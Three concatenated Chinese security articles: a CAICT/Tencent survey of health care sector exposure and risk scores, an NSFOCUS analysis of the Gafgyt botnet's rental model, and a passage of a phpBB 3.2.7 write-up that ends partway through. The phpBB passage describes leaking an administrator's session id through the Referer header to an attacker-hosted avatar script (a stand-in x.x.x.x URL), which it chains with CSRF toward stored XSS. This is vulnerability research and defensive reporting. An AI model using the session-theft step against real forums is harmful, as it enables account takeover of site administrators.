新兴技术与健康医疗加速融合,在健康医疗大数据蓬勃发展 的过程中,也面临一些新的挑战,需要及时加以引导和规范, 尤其表现在“互联网+医疗”的新形态模式。
为进一步贯彻落实习近平总书记网络强国战略思想,促 进“互联网+医疗健康”安全发展,根据《中华人民共和国
网络安全法》《国务院办公厅关于促进“互联网+医疗健康” 发展的意见》《国家健康医疗大数据标准、安全和服务管理
办法(试行)》等系列文件精神,中国信通院安全所与腾讯
安全联合成立了“产业互联网安全实验室”,积极构建政产学研用深度融合的协同发展创新模式,充分发挥专业机构在
健康医疗领域网络安全保障的支撑作用。同时,搭建了“产
业互联网安全观测平台”,对健康医疗行业网络安全态势进行实时观测,实现健康医疗领域的网络安全威胁感知,并且为完善健康医疗领域网络安全保障体系建设、提升健康医疗领域网络安全防护能力、切实筑牢健康医疗行业网络安全屏
障提供重要支撑。
### 1.2 网络安全的现状解读
当前全球信息化进程已进入全面渗透阶段,健康医疗行业作为关乎国计民生的重要领域,是信息时代极力突破和改 善的重点。我国医疗信息化目前已步入智慧医疗建设阶段,
电子病历、预约诊疗、智能导诊、电子支付等网络信息技术 在健康医疗便捷普惠、医疗资源压力释放、医疗资源优化配
置、数据信息开放共享等方面发挥了重要作用。与此同时,
频发的医疗大数据泄露、医疗系统瘫痪等安全事件逐渐引发人们对健康医疗行业信息化的安全思考,健康医疗行业网络安全配套政策法规不完善、管理规范适用性低、技术手段薄
弱等问题逐步显现,健康医疗行业网络安全形势日益严峻, 亟待加强健康医疗行业网络安全监管,提升健康医疗大数据
安全防护能力,保障大数据安全与医疗信息化的稳定发展。
以发展的眼光来看,网络安全是攻击方与防御方之间的动态博弈,新的攻击手段不断诞生,防御方法也不断升级。 但是由于网络安全攻防双方的信息不对称,往往导致防御方
难以预测攻击方将在何时、何处、以何种手段发起攻击。因 此,防御方经常处于被动地位,防御升级会滞后于新的攻击。
解决这个问题的根本方法在于消除信息不对称,这需要联合具备公共互联网观测能力的机构,以公共互联网安全观测和
安全情报挖掘为基础,内外协同构建安全防御体系,从而构筑防护范围更为广泛的有效防御联动网络。
据此,由中国信通院牵头,腾讯安全等单位参与,对健康医疗行业的公共互联网网络安全现状进行观测。此外,联合专委会、CHIMA
等组织,采用问卷调查的方式对我国部分 医院的安全建设情况进行调查,形成本报告,为健康医疗行 业管理部门、医疗机构和信息安全厂商提供决策依据。
### 1.3 公共互联网观测结果
**1、 观测范围分布情况**
本次观测行动通过公共互联网发起,共涉及健康医疗行 业的 15339 家相关单位。观测范围从职能划分上看,覆盖疾病预防控制中心(以下简称“疾控中心”)563
家,卫生监督所(以下简称“监督所”)333 家,卫生和计划生育委员会(以下简称“卫计委”)432 家,医学会 163 家,公立医院 4143 家,私立医院
9705 家。
观测范围从地域划分上看,覆盖了全国除港、澳、台以 外所有的 31 个省、自治区和直辖市。其中山东、河南、江 苏、四川、浙江、广东属于单位分布较多的省份。
**2、观测结果评估情况**
经过持续数月的观测,本报告研究团队综合运用大数据、 人工智能、威胁实时感知等技术和能力,全方位、多维度地
梳理了健康医疗行业的网络安全现状,并采用风险量化的方法对本次观测的结果进行评估。
(1)风险分布评估
本报告将风险分为四个级别,分别为重大风险(0-500分)、较大风险(500-800 分)、一般风险(800-900 分) 和低风险(900-1000
分)。分数越高,网络安全风险越低; 分数越低,网络安全风险越高。
本次观测健康医疗行业整体评分为 788 分,总体行业处 于“较大风险”的风险级别,存在多种网络安全风险以及大
量可以被利用的安全隐患,防御公共互联网攻击的能力较弱。
各省份风险量化的评估结果分布如下图所示。
●风险级别为“低风险”的省份有:山东省和四川省;
●风险级别为“一般风险”的省份有:浙江省、江苏省、河南省、广东省、安徽省、河北省等;
●风险级别为“较大风险”的省份有:北京市、上海市、重庆市、天津市、福建省、山西省、甘肃省、贵州省、
黑龙江省、湖北省、湖南省、江西省、吉林省、辽宁省、陕西省、云南省、广西壮族自治区、新疆维吾尔自治区等;
●风险级别为“重大风险”的省份有:青海省、海南省、内蒙古自治区、西藏自治区、宁夏回族自治区。
(2)风险集中表现
本次观测发现,健康医疗行业面临的网络安全风险主要 集中表现在三大方面:
●以勒索病毒为代表的僵木蠕等恶意程序风险
在本次观测中,发现存在僵木蠕等恶意程序的单位共计1029 家,其中受勒索病毒影响的单位共计 136 家。这些恶
意程序可导致大范围的网络欺诈、信息泄露和医疗信息系统 瘫痪等破坏性后果。
●安全隐患带来的大数据泄露风险
本次观测发现,有 6446 家单位的应用服务(如数据库 服务、FTP 服务、打印机服务等)端口暴露在公共互联网, 其中 375
家单位的应用服务使用了极简易的密码,攻击者可 通过公共互联网轻易获取到这些服务的控制权,可能引发批 量应用服务被恶意控制、大量健康医疗数据泄露的安全事件。
●网站篡改风险
本次观测发现,有 4546 家单位网站存在安全隐患,其 中 261 家单位的网站已发现被恶意篡改的情况。如果在国家
重大活动保障的政治任务期间,医院官方网站遭遇了恶意篡改、发布“黄、赌、毒”等非法信息,将造成严重的社会影响。
## 2\. 公共互联网的安全风险研究
### 2.1 僵木蠕等问题严峻,勒索病毒威胁严重
本次观测中发现的僵木蠕等恶意程序从地域分布上来 看覆盖了全国各个省份。鉴于各省信息化程度不同导致涉及
公共互联网业务的单位数目差异较大,因此对各省单位存在僵木蠕等恶意程序的占比情况进行了对比分析,发现青海省、 广西省、贵州省、湖北省占比最高。
观测发现,健康医疗行业涉及的僵木蠕等恶意程序主要分以下四类:
●勒索病毒: 勒索病毒通过绑架用户文件或破坏用户计算机等方式,向用户勒索数字货币,是一种会对业务系统 造成恶劣影响的严重威胁。本次观测有 136 家单位存在
勒索病毒风险。
●远控木马: 此类木马进入主机后一般处于潜伏状态,但一旦活跃,可操作主机执行多样化的恶意行为,如DDos攻击、窃取数据、破坏数据等,甚至可以执行加密勒索,
对系统可能造成重大影响。本次观测有 539 家单位存在 远控木马。
●挖矿木马:此类木马主要目的为牟利,通过消耗失陷主机的资源,为攻击者挖取加密货币,导致用户电脑资源和性能变低。本次观测有 359 家单位存在挖矿木马。
●捆绑软件与流氓广告:此类恶意程序本身造成的危害不大,但其往往会成为更严重风险的跳板,例如勒索病毒 可以通过捆绑软件植入主机。本次观测共有 557 家单位
存在捆绑软件与流氓广告。
以上僵木蠕等恶意程序中,勒索病毒造成的危害与社会影响性尤为突出,本报告重点对本次观测中发现的勒索病毒的潜伏情况进行了地域分布分析。
整体来看,勒索病毒潜伏比率较高的区域中,信息化程度较低或者经济发达的情况更为凸显。西藏、贵州、新疆、 青海等地域,信息化程度较低,攻击成功率较高;两广、长
三角、北京等经济较为发达,攻击者关注程度较高。
### 2.2 数据泄露事件高发,应用服务存在隐患
本报告团队梳理了部分 2019 年国外健康医疗行业安全事件,发现国外健康医疗行业安全事件中,数据泄露相关事
件高发,已多于勒索病毒相关事件。数据泄露问题已是全球 健康医疗行业面临的网络安全的重点问题之一。
本次观测发现,健康医疗行业存在大量应用服务(如数 据库服务、FTP 服务、打印机服务等)暴露在公共互联网的 情况,共涉及 6446
家单位。如果这些暴露的应用服务管理 存在缺陷,那么攻击者从公共互联网会轻易地窃取到医疗相关数据。
应用服务存在隐患的单位在各省之间分布情况如下:
除西藏自治区外,其余各省至少有 30%以上的单位将应 用服务直接暴露在公共互联网。从分布上看,东北、西北各
省与东南的福建省、浙江省和海南省略少,其余省份皆高于40%。
### 2.3 网站篡改手法多变,隐式植入非法信息
根据攻击效果,网站篡改可分为显式篡改和隐式篡改两 种。显式篡改主要用于帮助攻击者声明自己的主张,因此篡 改内容可见,如果改为非法信息,影响极其恶劣。隐式篡改
的内容不可见,一般通过植入色情、博彩、诈骗等非法信息, 帮助攻击者谋取非法经济利益。
本次观测中发现被篡改的网站共涉及 261 家单位。按省份分布如下:
全国总体来看都存在网站篡改现象,但主要集中分布在四片区域:分别是上海、江苏、安徽区域;北京、天津区域; 陕西、重庆、湖南区域以及西藏区域。
本次观测中发现的网站篡改以隐式篡改为主,其篡改手 法主要表现为以下三种:
1、寄生页面,指站点目录结构中被放入了非法页面资 源,以博彩、色情站点资源为主。这些页面一般在单位站点 中并无入口,寄生的主要目的是躲避观测,利用站点资源。
2、暗链,指页面代码被放入不可显示的链接,一般为 博彩、色情网站链接。暗链的主要目的是帮助非法网站在搜 索引擎排名中获得更高优先级。
3、域名恶意利用,指单位域名被用于无关内容,大部 分是由于单位历史域名到期后未持续维护造成的。利用域名 的主要目的也是在躲避观测的前提下使用站点资源。
## 3\. 公共互联网的风险成因分析
脆弱性指资产上存在的可能被攻击者用来实施攻击的薄弱环节,即安全隐患。本报告团队基于观测结果中发现的风险点对健康医疗行业相关机构的网络资产进行了全面、客观的脆弱性评估,分析了风险存在的深度原因。
评估发现,本次观测的15339 家单位中网络资产存在脆弱性的有 9532 家,占比
62.14%。由此可见,健康医疗行业相关机构的网络资产中存在脆弱性的情况较为普遍。
脆弱性是攻击的入口,与单位存在的安全风险息息相关。 分析发现,易被利用实施攻击的脆弱性主要集中在三个方面: 大量敏感的应用服务暴露在公共互联网,覆盖了
48.08%的单位;开放的高危端口上存在可被利用的高危漏洞,覆盖了47.21%的单位;服务版本过低,存在公开漏洞,覆盖了 37.90%的单位。
### 3.1 端口存在高危漏洞,易被僵木蠕等利用
Web 服务一般都是通过端口号来识别的。端口如同是服务的钥匙,一旦存在可被利用的高危漏洞,就有可能导致服
务被不怀好意的人所利用,往往造成很严重的后果,比如敏 感数据被窃取、服务器命令任意执行、服务器权限被非法获 取等。
曾经造成重大影响的 WannaCry 勒索病毒,就是利用了TCP 的 445 端口,以类似于蠕虫病毒的方式传播,攻击主机 并加密主机上存储的文件进行勒索。自
2017 年 5 月 12 日到5 月 15 日,WannaCry 勒索病毒共造成 150 多个国家遭受网
络攻击,涉及金融、能源、医疗等行业,造成了严重的危机管理问题。
本次观测到的高危端口 top10 分布如下:
以作为微软操作系统远程桌面的服务端口的 3389 端口 为例,2019 年 5 月 14 日微软官方发布安全补丁,修复了Windows
远程桌面服务的远程代码执行漏洞 CVE-2019-0708。
此漏洞是预先验证身份,无需用户交互(无需验证系统账户密码),即可以在目标系统上执行任意命令。这就意味着这个漏洞可以通过网络蠕虫的方式被利用,与
WannaCry 勒索病毒极为类似。
本次观测针对此漏洞进行了渗透测试,在开放 3389 端口的 1860 家单位中,有 1012
家可被利用成功,占比高达54.40%。如果这些单位遭受利用此漏洞发起的攻击,则可能 被轻易植入勒索病毒等各种恶意程序。
### 3.2 大量敏感服务暴露,弱口令成安全隐患
本次观测发现在公共互联网侧存在大量远程登录服务、 数据库服务、FTP 服务、打印机服务等敏感服务。
本次观测对暴露的应用服务中的密码情况进行了渗透 测试,发现有410 家单位存在弱口令问题。密码是网络安全的第一道屏障,攻击者一旦攻破密码,很容易通过非法登录
提权至管理员权限,甚至直接渗透内网,登录内网服务器。 这些单位的服务器轻则成为攻击者进行不法行为的跳板或
僵尸网络的一部分,重则感染病毒,产生数据泄露,造成严重损失。
### 3.3 应用组件版本较低,网站篡改概率较高
应用服务组件版本过低,往往被公开漏洞所利用,存在 极大的安全隐患。本次观测有 7242 家单位存在这种情况, 占比 47.21%,具体服务分布如下:
其中,低版本的网站服务最为常见。以 Apache httpd服务为例,本次观测中共有 2961 家单位的 Apache
httpd服务暴露在公共互联网上,其中服务版本过低的单位有1632 家,有 55 家单位存在网站篡改,网站篡改率为 3.35%; 服务版本正常的单位有
1329 家,有 22 家单位存在网站篡改, 网站篡改率为 1.69%。存在低版本服务的单位网站篡改率明显高于服务版本正常的单位。
## 4\. 医院的网络安全现状调研
风险隐患的存在与安全防护措施的实施息息相关。为更全面地观测我国健康医疗行业网络安全现状,本报告团队基于CHIMA
发布的《2019医院信息安全调查报告》(以下简称《调查报告》)中的相关数据对当前医院的网络安全现状进行了分析。
《调查报告》对我国部分医院的安全建设情况进行了网 络问卷调查,共回收有效问卷 400 份,医院样本总数为389家,覆盖
29个省、直辖市(包含中国台湾省),医院占总参与调查机构的97.25%。
对调查的相关数据进行分析可以发现,健康医疗行业相 关机构对网络安全重视程度不够,网络安全相关工作开展不足。这就造成医疗信息系统面临的网络安全风险挑战很大,
甚至导致医疗正常业务受干扰或终止、个人信息泄露和医疗 数据被篡改等严重后果。主要表现在:
### 4.1 医院的网络安全等级保护工作普遍不足
安全防护措施的制定和实施是保证医院信息系统安全 稳定运行的必要条件。国家卫生主管部门对医疗机构的信息 安全等级保护工作提出了严格要求。
根据《调查报告》,至少有一个系统通过等保三级测评 的受访医院共计 195 家,占比 50.13%;通过等保二级测评 的受访医院共计 40 家,占比
10.28%;有实施等保工作规划的医院有 106 家,占比 27.25%;没有开展等保工作规划的 医院有 48 家,占比 12.34%。
由此可见,各医院推进网络安全等级保护的工作的力度和进展存在较大差别,有些医院未开展科学、合理的系统定级工作,使系统缺乏必要的安全保障措施。等级保护有助于
对系统安全进行重新梳理,发现医院系统内、外部存在的安全风险和隐患,提高网络安全防护能力,降低系统被攻击的风险,能够更加有效的保障医疗信息安全。因此,医院在信息化建设中适当提高对等级保护的侧重,有助于保障医院信
息系统持续稳定安全运行。
### 4.2 尚未建立定期开展风险评估的工作机制
医院的网络安全等级保护要求开展周期性的网络安全 风险评估工作,重点针对医疗信息系统进行渗透测试等技术评估。根据《调查报告》,本次调查中共有 37
家受访医院表示采用了定期渗透测试以评估风险,占受访医院的 9.51%。 同时还有 27 家医院填写了每年定期渗透的次数,每年一次 的医院有 12
家,每年两次的医院有 11 家,每年三次的医院有 1 家,每年四次的医院有 5 家。
由此可见,绝大部分医院尚未建立对信息系统开展定期 渗透测试的风险评估机制,在少数已开展定期渗透测试的医
院当中,测试开展的频率偏低。定期渗透测试有助于评估信息系统抵御网络入侵的能力,当前的开展情况反映了医院对网络信息安全的评估方法不够全面、有效。
### 4.3 网络安全培训与应急演练预案覆盖不全
在医院内部定期开展网络安全相关培训与应急演练工作,有助于培养相关人员的安全素养和安全意识,提高相关人员的专业知识水平和处理安全事件的能力。
根据《调查报告》,此项调查共回收 198 个有效回答。在安全培训方面,有 111 位受访者表示医院会定期在信息部门内部举行网络安全培训,占比 56%;36
位受访者表示医院设置了专门的信息安全员,由他们负责进行网络安全培训, 占比 18%;31 位受访者表示医院会对全体员工进行网络安全 培训,占比
16%;20位受访者表示没有相关培训,占比 10%。
在应急演练方面,选择信息部门内部参加的定期网络安 全应急演练的共计 93 位受访者,占比 47%;选择医院全体员工参加的定期网络安全应急演练的共有 42
位受访者,占 比 21%;选择仅有医院设立的信息安全员参加的定期网络安 全应急演练有 36 位受访者,占比 18%;回答医院没有定期组织网络安全应急演练的有
27 位受访者,占比 14% 。
由此可见,目前各医院开展网络安全培训和应急演练工作的覆盖面不足,近半数的医院仅在信息部门内部定期开展网络安全培训和应急演练工作,设置专门信息安全员的医院不足
20%,还有部分医院完全没有进行安全培训和应急演练。这既不利于提高工作人员的安全意识,也无法有效保障医院信息系统的安全。
## 5\. 安全工作思路与建议
### 5.1 提高政治站位,统一思想认识
健康医疗行业事关人民福祉和国家安全,健康医疗行业 相关机构应提高政治站位,统一思想,充分认识到做好健康医疗行业网络数据安全保障工作的重要性和紧迫性,坚决贯
彻落实习近平总书记有关数据安全重要批示指示精神,坚决 做好大数据安全与医疗信息化稳定发展的保障工作。
### 5.2 加强政策引导,完善防护体系
保障健康医疗网络安全是卫生事业改革和发展的重要内容。为加强健康医疗领域网络安全体系建设,保障医疗领域信息化的顺利发展,不断满足人民群众多层次、多样化的
健康需求,亟需完善健康医疗领域网络安全体系建设,提升健康医疗领域网络安全防护能力,为持续推进健康医疗信息 化安全稳定发展保驾护航。
### 5.3 强化标准引领,规范行业发展
健康医疗行业网络安全标准化工作作为健康医疗领域 网络安全保障体系建设的重要组成部分,在推动健康医疗领
域网络安全治理体系变革方面发挥着不可替代的作用。为全面切实推进健康医疗领域的网络安全防护工作整体、规范,
科学、有序的开展,亟需健全完善健康医疗行业的网络安全 标准化体系建设。
### 5.4 突出能力建设,形成长效机制
健康医疗行业相关机构应加强自身网络数据安全综合保障能力建设,继续加强在网络数据安全领域的投入,建立 系统化的安全保障体系,形成长效机制:
●加快推进网络安全等级保护测评工作,定位安全问题, 排除安全隐患;
●定期开展风险评估工作,评估系统抵御网络入侵的防护 能力,发现潜在的安全隐患;
●建立网络安全专业团队,定期进行安全培训及应急演练, 提升团队安全意识和风险应对能力;
●充分发挥第三方安全机构的专业支撑能力,采用安全最 佳实践,保障医疗信息化的安全发展。
## 特别声明:
本观测报告仅供技术研讨与参考分析,多有纰漏与不足之处,欢迎各领导专家指导修正,共同推进健康医疗行业的网络安全防护与大数据安全工作。
## 附录一:网络安全术语解释
●信息系统
信息系统是指由计算机硬件、软件、网络和通信设备等组成的,以处理信息和数据为目的的系统。
●资产
资产指对组织具有价值的信息或资源,是安全策略保护的对象。
●资产价值
资产价值指资产的重要程度或敏感程度的表征。资产价值是资产的属性,也是进行资产识别的主要内容。
●威胁
威胁指可能导致对系统或组织危害的不希望事故潜在起因。
●脆弱性
脆弱性是指可能被威胁所利用的资产或若干资产的薄弱环节,即安全隐患。
●恶意程序
恶意程序是指在未经授权的情况下,在信息系统中安装、执行以达到不正当目的的程序。
●病毒
病毒是通过感染计算机文件进行传播,以破坏或篡改用户数据,影响信息系统正常运行为主要目的的恶意程序。
●勒索软件
勒索软件是黑客用来劫持用户资产或资源并以此为条件向用户勒索钱财的一种恶意程序。勒索软件通常会将用户数据或用户设备进行加密操作或更改配置,使之不可用,然后向用户发出勒索通知,要求用户支付费用以获得解密密码或者使系统恢复正常运行的方法。
●漏洞
漏洞是指信息系统中的软件、硬件或通信协议中存在的 缺陷或不适当的配置,从而可使攻击者在未授权的情况下访问或破坏系统,导致信息系统面临安全风险。常见漏洞有
SQL注入漏洞、弱口令漏洞、远程命令执行漏洞、权限绕过漏洞 等。
●蠕虫
蠕虫是指能自我复制和广泛传播,以占用系统和网络资 源为主要目的的恶意程序。按照传播途径,蠕虫可进一步分为邮件蠕虫、即时消息蠕虫、U
盘蠕虫、漏洞利用蠕虫和其他蠕虫 5 类。
●网页篡改
网页篡改是恶意破坏或更改网页内容,使网站无法正常工作或出现黑客插入的非正常网页内容。
## 附录二:风险量化评估细则
### 1、 简介
量化评估的得分包括两部分:脆弱性分和威胁分。
脆弱性分采用《信息安全风险评估规范》中提到的评估 方法进行计算,威胁分采用威胁情报和网站篡改的数据按可能性、按频率进行计算。
具体操作流程是:
(1) 将端口当作最细粒度资产,根据漏洞扫描数据计算Port 脆弱性分;
(2) 结合端口上服务的资产价值分,由 Port 脆弱性分 汇总到 IP 脆弱性分;
(3) 计算集成了威胁情报分的 IP 安全分;(4) 由 IP 安全分汇总到单位安全分;
(5) 计算集成了网站篡改分后的单位安全分。
### 2、 量化评估流程
**2.1 计算 Port 脆弱性分**
总分 1000 分,分别计算漏洞、服务版本低、高危端口、特定服务暴露在大网四个部分的脆弱性分,然后加权汇总。
(1) 漏洞,分高危、中危、低危三种漏洞,分别对应level 的值 1、2、3,即代表每种漏洞的价值分,且 ,代表每种漏洞的数量,则
(2) 服务版本低,假设因为服务版本低而匹配到的公开的漏洞个数为 ,则
(3) 高危端口,假设高危端口标识为,则
(4) 特定服务暴露在大网,假设存在标识为,则
**2.2 由 Port 脆弱性分汇总到 IP 脆弱性分**
在将 Port 分汇总到 IP 分之前,首先需要考虑每个 Port所对应的服务的资产价值,即不同类型服务所对应的资产价
值分是不同的。在对不同服务计算资产分数时采用国标中推 荐的方法,分为保密性价值、完整性价值、可用性价值三部 分分别计算得分,最后再进行加权汇总。
**2.3 计算集成了威胁情报分的 IP 安全分**
以上计算的 IP 脆弱性分是指 IP 在风险脆弱性方面的得分,我们还有一部分从威胁情报中获取的数据计算了某
IP访问病毒、木马等恶意程序相关域名的次数。这一般代表该IP可能感染了对应病毒、木马等。设某 IP 共访问了恶意程序的次数为,则该IP的威胁情报分数为
因此 IP 的安全分为
**2.4 由 IP 安全分汇总到单位安全分**
每个单位有一个或多个IP,将 IP 分汇总到单位分的计算采用扣分的方式。每个 IP 可能被一个或多个单位使用。 被多个单位使用的 IP
其风险值给单位带来的损失一般较小, 因此在计算这类 IP 的扣分分数时可以除以该 IP 的共享单位个数。
每个单位总分为
**2.5 计算集成了网站篡改分后的单位安全分**
网站篡改分是由检测出的网站篡改的相关数据计算的。 由于网站篡改是基于 url 的,url 对应到域名,域名再对应
到单位,因此网站篡改分直接基于单位计算。已知每个域名最近七天的总访问量为,每个域名检测出的篡改 页面 url 数为,则每个域名需要扣除的篡改分的系数 为
每个单位的篡改分为
每个单位的最终安全分为
其中, 根据网站篡改分数占总分数的比重确定。 | 社区文章 |
**作者：伏影实验室
公众号：[绿盟科技](https://mp.weixin.qq.com/s/wcjLGdKMR4rf2uuLEf3bYw "绿盟科技") **
### 概述
在万物互联的物联网时代，IoT设备的脆弱性亦广为世人所发掘。随着暴露在互联网中存在安全隐患的IoT设备的增多（仅中国国内就有1200W台以上），越来越多的恶意软件亦将目光对准了这个取之不尽的僵尸资源库，因此IoT平台上的恶意软件家族数量呈现爆发增长态势，仅2018年一年中就有21个新的IoT僵尸网络家族被发现。
而在这些僵尸网络家族中最为活跃的Gafgyt，因其灵活和简洁而较其同行Mirai、xorddos、mayday、GoARM等家族更受到黑产从业者们的欢迎，因此一直以来是伏影实验室的关注重点。近期我们监测到Gafgyt各变种C&C服务器在指令下发阶段皆有较大的活跃倾向，因此我们对其近期的指令下发行为进行了数据分析，发现其已完全实现了“BaaS”(Botnet
as a Service，僵尸即服务)的思想，且C&C服务器的拥有者亦产生了强烈的同行竞争和宣传意识。
### BaaS-僵尸即服务
以往，僵尸网络是由攻击者主动制作并扩散恶意软件以感染设备，并根据购买者的需求来操作这些设备发动大规模的DDoS攻击，其攻击时间亦完全取决于攻击者的工作时间，也是需要较高的技术水平和长时间的僵尸资源积累方能达成的，因此在很长一段时间内由于杀毒软件的普及，由僵尸网络引起的大规模ddos攻击占比曾一度下降。
而BaaS模式的僵尸网络提供了租赁服务，即提供给没有僵尸资源和技术水平的用户一定时间内一定数量僵尸的使用权，并根据用户所需的规模、配置等参数的不同提供定制化的服务，加上自动支付平台的普及，用户们只要付款就可以即时获得一批佣兵式的攻击资源，不仅提供了随时随地发动攻击的敏捷性，也大大提高了作为用户时“一切都在自己控制下”的趣味性及对控制欲望的满足，这些因素正使得这一模式逐渐成为僵尸网络获利的主流。
而IoT平台中活跃的Gafgyt家族，正是通过BaaS化实现转型，成为僵尸网络中“日不落帝国”一样存在的典型案例。
### Gafgyt家族介绍
2014年8月，索尼PSN遭受来自Gafgyt家族的DDoS攻击，以至完全瘫痪，黑客组织LizardSquad声称对此次事件负责。
同年12月，LizardSquad再次利用该家族对微软Xbox Live发动DDOS攻击，致使数百万游戏玩家无法连接到游戏服务器。
2015年1月，Gafgyt家族的源代码被公开，其源码仅由一个.c文件构成，共计1600+行代码（含telnet扫描模块及弱口令字典）。
此后，各黑产从业者开始以该家族为基础开发大量变种（如Bashlite、Qbot等），使原本只属于LizardSquad的攻击痕迹得到隐藏。
### 数据分析
#### 1、C&C服务器分布：
我们通过对Gafgyt家族的C&C服务器地理位置分布进行绘制，得到了如下的热力图：
可见，Gafgyt家族的C&C服务器大多分布于北美和欧洲，且常常集中于同一城市区域。对这些C&C服务器IP地址的DNS反查显示，它们大多属于规模较小的VPS厂商，这些厂商的安全管理工作几乎未有成效，用户们的安全需求常常得不到保证，在各论坛上广为诟病，因此厂商不得不降低租金以吸引更多的用户。
因此，我们可以得出一个这样的结论：攻击者在这些地方架设C&C服务器的原因是这些区域拥有廉价的VPS资源和较为松散、混乱的安全管理制度，使得前期投入可维持在一个较低的水平。
#### 2、攻击指令时间分布：
近期的gafgyt各变种C&C服务器表现出了很高的活跃度，为此我们收集了近期的所有攻击指令日志并进行统计以查明原因，以下是一个C&C服务器一天内的攻击指令下发时间分布：
目前我们跟踪并捕获指令的Gafgyt家族C&C服务器多数符合这种一天24小时皆有攻击指令下发的特征，因此可知，这些僵尸网络的使用者痕迹并不局限于C&C服务器的所在地，而是遍布各大时区，说明这一家族已经实现了Pay-Attack的自动化僵尸网络租赁流程，人们可以很方便的实时对肉鸡发送攻击指令以进行ddos攻击。
#### 3、攻击目标分布：
为了研究这些租赁者的目标选择方式以及攻击诉求，我们对攻击目标的归属及攻击服务的类型做了统计。我们绘制出了目前已跟踪的Gafgyt家族僵尸网络近一个月内所攻击的目标地理分布，并根据单点遭遇攻击事件的严重程度得到如下热力图：
从地理分布上看，Gafgyt家族的攻击目标遍布世界各地，但主要依然是集中在美国和欧洲区域。
然后我们进一步对被攻击IP的归属和被攻击服务类型做了统计：
可以看出，该僵尸网络的攻击目标多指向各VPS厂商旗下的服务器，大多开放http服务，结合租赁者同一时间段内在C&C中的部分对话可以得知，僵尸网络的管理员通常是以佣兵的形式进行肉鸡分配，为租赁者向各企业的门户网站进行ddos攻击提供火力，并以此为主要收入来源。而这种依赖于自动化支付平台和云服务器的僵尸资源共享化，也大大降低了Botnet类网络犯罪的成本，使得以往被认为不值得攻击的中小企业成为了广泛的潜在攻击目标，一定程度上致使了DDoS攻击的泛滥。
而在租户不多的时节，由管理员直接下发的攻击指令（多集中于攻击目标归属统计中的”other”分类）则多以攻击其他僵尸网络C&C服务器对外接口的方式（黑吃黑）来进行同行间的竞争。或延续LizardSquad的做法，对XBox
LIVE发动攻击以希望作为自身僵尸网络攻击能力的宣传。
因此，亦有一部分C&C服务器本身也常受到同家族其他成员发动的攻击，可见其常常处于同行竞争的状态：
### 总结
该家族作为IoT设备上比较经典的僵尸网络，一向以其服务易搭建、功能易拓展、肉鸡易取得的特性为黑产从业者所欢迎。因此为了提高自身竞争力，并扩展在DDoS行业中的收益，黑产从业者针对此家族做了改进，开发了与之配套的自动化接口并形成一套独有的竞争和宣传手段,实现了由以往直接出售攻击流量的传统获利方式，向为租赁者提供僵尸佣兵任其在规定时间段内自由支配的方式转型，贯彻了
“BaaS”模式的中心思想。
* * * | 社区文章 |
## 前言
phpBB是一个论坛软件，使用PHP语言开发的并开放其源码。是模块化设计，具专业性、安全性高、支持多国语系、支持多种数据库和自定义的版面设计等优越性能，而且功能强大。
自2000年发布以来, phpBB已经成为世界上应用最广泛的开源论坛软件。
phpBB 3.2.7版以及之前版本中存在一处安全问题：当管理员从phpBB后台控制面板切换到前台时，系统会将session
id存放于访问的前台功能的URL中使得攻击者可以窃取这个session
id。由于phpBB的安全限制，攻击者不可以直接利用这个sid登录后台，但是可以协同phpBB后台编辑bbcode页面存在的CSRF漏洞，在目标服务器上实现存储型XSS。
## 漏洞分析
首先来看一下phpBB的后台，也就是ACP页面
可以发现所有后台功能的url中都会携带着sid（session id）参数：
[http://127.0.0.1/phpbb/phpBB/adm/index.php?sid=9c4869b4054e9ff8d4d588c32ffcf7e7&i=1](http://127.0.0.1/phpbb/phpBB/adm/index.php?sid=9c4869b4054e9ff8d4d588c32ffcf7e7&i=1)
如果url中sid值错误，即使已经登录后台也无法正常的访问后台页面
phpbb程序这样做的确有着这样做的优点，但也存在着很严重的安全隐患
优点：
在后台功能url中加入sid，相当于增加了一层安全屏障，降低了后台页面出现CSRF漏洞的几率，为什么这样说呢？假使因为开发疏忽，一个表单提交页面没有利用随机数对用户提交的表单进行保护，这通常会导致CSRF漏洞的产生。但是在phpbb应用中，所有的后台功能url中都加入了sid参数且phpbb对sid参数值合法性进行校验，即使攻击者在后台发现了一处没有随机数保护的表单提交页面，但在不知道管理
员sid值的情况下，也无法构造出一个有效的恶意表单提交页面地址
安全隐患：
这样的操作相当于在url中存放了本来只应该出现在cookie中的session
id。如果url中的sid被泄露，攻击者有机会利用这个值伪造管理员身份进行登录后台操作（但不一定可以直接利用，这里涉及到phpBB的一个安全机制，后文会讲到）。
注意看，url中的sid值与cookie中的值完全一样，它们都是此用户的session id值
至于cookie中session值的key ：phpbb3_qnsnz_sid
这个值在系统安装完成之后是固定的，无论什么身份的用户访问都是这个值
因此，如果管理员访问的url中sid值被泄露，攻击者可以有机会利用这个值构造cookie以便使用管理员身份登录后台
但是如何获取这个暴露在url中sid值呢?
由于phpbb的设计特色：当管理员使用完后台功能后想要切换到前台，后台页面中提供了一个跳转到前台地址的按钮
当管理员点击这个按钮切换到前台时，url中会带有sid
其实前台页面的访问并不需要在url中使用sid，但从后台切换过来后url中会默认带上这个值。这就导致本应该只在后台功能url中出现的管理员sid泄露到了管理员访问的前台功能url中，而这个存在于url中的sid值很容易在前台页面加载远程资源时在HTTP_REFERER中被泄露
例如：在一些phpbb站点中可能会开启远程头像选项
这个功能并不是默认开启的，当此功能开启后，用户可以设置远程头像
程序会在使用这个远程头像的时候将其加载进来
如果管理员此时访问的页面在渲染时加载了攻击者的远程头像，且此时管理员访问的url中带有sid，sid将会被泄露
我们是否可以构造一个恶意的远程图片链接poc，用以接收管理员的sid呢？
首先看一下phpBB在后台程序如何校验远程图片链接，phpBB使用getImageSize对用户添加的远程图片链接进行校验
因此我们可以构造如下poc
poc.php除了需要记录加载该图片请求中的HTTP_REFERER，同时需要将图片进行返回展示
构造远程图片链接
<http://x.x.x.x/poc.php?avatar.png>
攻击者的头像加载成功
但是如何使得管理员加载这个头像资源呢？
只要给管理员留言，或者评论管理员发布的文章即可
以评论文章为例：当针对管理员发布的文章发表一条评论之后，管理员在前端页面即可收到一个消息提示
点看之后可以看到被加载的头像
但无论管理员点开与否，在phpbb首页加载时，都会远程加载这个资源，HTTP_REFERER都会被发送到攻击者的服务器上
到此为止，攻击者可以顺利获得sid值。但为什么上文说获取了sid值也不一定可以盗用管理员身份登录系统呢？
在phpBB中有如下的安全策略
Session IP
validation选项用来验证当前用户会话绑定的IP；All选项代表匹配完整地址，A.B.C选项匹配前面的x.x.x段，A.B选项匹配x.x，None选项关闭IP检查。
